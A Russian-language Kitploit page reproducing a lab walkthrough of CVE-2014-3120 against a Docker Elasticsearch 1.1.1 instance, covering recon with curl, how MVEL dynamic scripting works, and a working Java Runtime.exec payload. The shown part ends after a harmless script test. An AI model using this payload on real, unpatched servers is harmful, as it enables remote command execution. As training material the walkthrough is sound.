Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2014-3120 — Пошаговое лабораторное руководство, демонстрирующее эксплуатацию CVE-2014-3120 против Elasticsearch 1.1.1, охватывающее анализ уязвимости, RCE через MVEL-скриптинг и пост-эксплуатацию в среде Docker. | Kitploit
Инструменты/GitHubGitHub/dungsocool/cve-2014-3120
Безопасность контейнеровАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubdungsocool/cve-2014-3120

CVE-2014-3120

Пошаговое лабораторное руководство, демонстрирующее эксплуатацию CVE-2014-3120 против Elasticsearch 1.1.1, охватывающее анализ уязвимости, RCE через MVEL-скриптинг и пост-эксплуатацию в среде Docker.

Репозиторий
84 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

LAB 10-CVE-2014-3120

I. АНАЛИЗ СИСТЕМЫ

Определение поверхности атаки из окружения Docker

Начнём с того, что запущено в окружении. Выведем список всех активных контейнеров:

docker ps

image.png

Результат: Контейнер p1/lab10:latest запущен, наружу открыты 2 порта:

Сопоставление портовПротокол
0.0.0.0:9200 → 9200/tcpHTTP (требуется проверка)
0.0.0.0:9300 → 9300/tcpНеизвестно

Первоначальное наблюдение: Порты 9200 и 9300 обычно известны как порты по умолчанию для Elasticsearch. Однако нельзя делать вывод только на основе номеров портов – многие другие службы могут привязываться к любым портам.

⇒ Обратимся напрямую к каждому порту через curl, чтобы проверить, какая служба фактически запущена.

Проверка порта 9300

curl -i http://192.168.3.137:9300/

image.png

Анализ ответа:

  • Ответ: curl: (52) Empty reply from server
  • Заголовок сервера: отсутствует – сервер не возвращает HTTP-ответ

Оценка: Сервер принял TCP-соединение (нет отказа в соединении), но не ответил по протоколу HTTP. Это соответствует поведению транспортного протокола Elasticsearch на порту 9300 – бинарного протокола для связи между узлами кластера, не HTTP.

⇒ Вывод: Порт 9300 использует бинарный протокол → нельзя использовать напрямую через curl/браузер. Переходим к проверке порта 9200 – порта HTTP REST API.


Проверка порта 9200

curl -i http://192.168.3.137:9200/

image.png

Анализ ответа:

ПолеЗначениеСмысл
name"Rage"Имя узла Elasticsearch (случайное имя персонажа Marvel – поведение по умолчанию старых версий ES)
version.number"1.1.1"Очень старая версия – выпущена в апреле 2014 г.
build_timestamp"2014-04-16T14:27:12Z"Собрана в 2014 г.
lucene_version"4.7"Lucene 4.7 – старый движок индексации
tagline"You Know, for Search"Характерная фраза-подпись Elasticsearch

Оценка поверхности атаки:

  • Подтверждено, что это Elasticsearch 1.1.1 – служба возвращает характерный JSON-ответ с полной информацией о версии.
  • Аутентификация не требуется – REST API отвечает напрямую без запроса учётных данных.
  • Elasticsearch 1.1.1 (2014) попадает в зону действия нескольких критических CVE, в частности CVE-2014-3120 – уязвимости, позволяющей произвольное выполнение кода через динамическое скриптование.

image.png

⇒ Вывод: Elasticsearch 1.1.1 включает динамическое скриптование по умолчанию – клиенты могут отправлять скрипты (MVEL-выражения) в поисковых запросах для выполнения на сервере. При отсутствии изолированной среды или надлежащей валидации злоумышленник может внедрить вредоносный скрипт для выполнения системных команд. Следующий шаг: проверить, действительно ли динамическое скриптование активно на цели.

Проверка динамического скриптования и движка MVEL

Что такое динамическое скриптование?

Elasticsearch поддерживает функцию скриптования – клиенты могут отправлять скрипты (математические или логические выражения) внутри поисковых запросов, чтобы сервер выполнял их при обработке результатов. В Elasticsearch 1.x движком по умолчанию для этой функции является MVEL (MVFLEX Expression Language).

Основная проблема безопасности

В версиях Elasticsearch до 1.2 динамическое скриптование включено по умолчанию (script.disable_dynamic: false). Это означает:

  1. REST API не требует аутентификации.
  2. Клиенты могут отправлять произвольные скрипты через параметр script_fields в API _search.
  3. Движок MVEL не имеет достаточно строгой изолированной среды – он предоставляет доступ к среде выполнения Java.
  4. Злоумышленники могут вызвать java.lang.Runtime.getRuntime().exec() для выполнения системных команд.

Как работает script_fields

Когда отправляется поисковый запрос с script_fields, Elasticsearch:

  1. Получает JSON-запрос через API _search.
  2. Разбирает поле script_fields → находит script для выполнения.
  3. Выполняет скрипт с помощью движка MVEL.
  4. Движок MVEL имеет полный доступ к среде выполнения Java → может вызывать любой класс Java.
  5. Возвращает результат в HTTP-ответе.

Анализ вектора атаки: MVEL → Java Runtime → RCE

В Java наиболее распространённый способ выполнения системной команды:

Runtime.getRuntime().exec("command");

MVEL, как язык выражений с полным доступом к классам Java, позволяет вызвать это напрямую:

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

Пояснение каждой части:

ЧастьПояснение
import java.io.*Импорт классов ввода-вывода Java
Runtime.getRuntime()Получение экземпляра Java Runtime
.exec("id")Выполнение команды оболочки id
.getInputStream()Получение потока вывода процесса
new Scanner(...).useDelimiter("\\A").next()Чтение всего вывода в виде строки

⇒ Вывод: В Elasticsearch результат RCE возвращается непосредственно в ответе – не требуется перенаправление в файл и обратное чтение. Это делает эксплуатацию чище и быстрее для проверки.

II. ЭКСПЛУАТАЦИЯ

Подтверждение активности динамического скриптования

После идентификации цели как Elasticsearch 1.1.1 следующий шаг – проверить, действительно ли динамическое скриптование включено.

CVE-2014-3120 использует тот факт, что Elasticsearch позволяет клиентам отправлять скрипты внутри запросов _search. Если скрипт выполняется сервером, злоумышленник может заменить безвредное выражение на полезную нагрузку, вызывающую Java Runtime для выполнения системных команд.

Сначала создадим тестовый документ, чтобы убедиться, что запрос вернёт хотя бы один результат. Если ни один документ не соответствует, script_fields не будет выполнен.

curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

Затем обновим индекс:

curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

Далее отправим запрос _search с script_fields, содержащим безвредное MVEL-выражение:

curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

image.png

Мы отправляем скрипт "1+1", и сервер возвращает результат 2. Это доказывает, что Elasticsearch не только получает запрос _search, но и выполняет динамический скрипт на стороне сервера.

⇒ Динамическое скриптование активно на цели.

Поскольку цель – Elasticsearch 1.1.1 (до версии 1.2), это соответствует условиям эксплуатации CVE-2014-3120: Elasticsearch до версии 1.2 включает динамическое скриптование по умолчанию, что позволяет удалённому злоумышленнику выполнять MVEL-выражения/Java-код через поисковый запрос.

Определение пути к функции выполнения команд

Скачать инструмент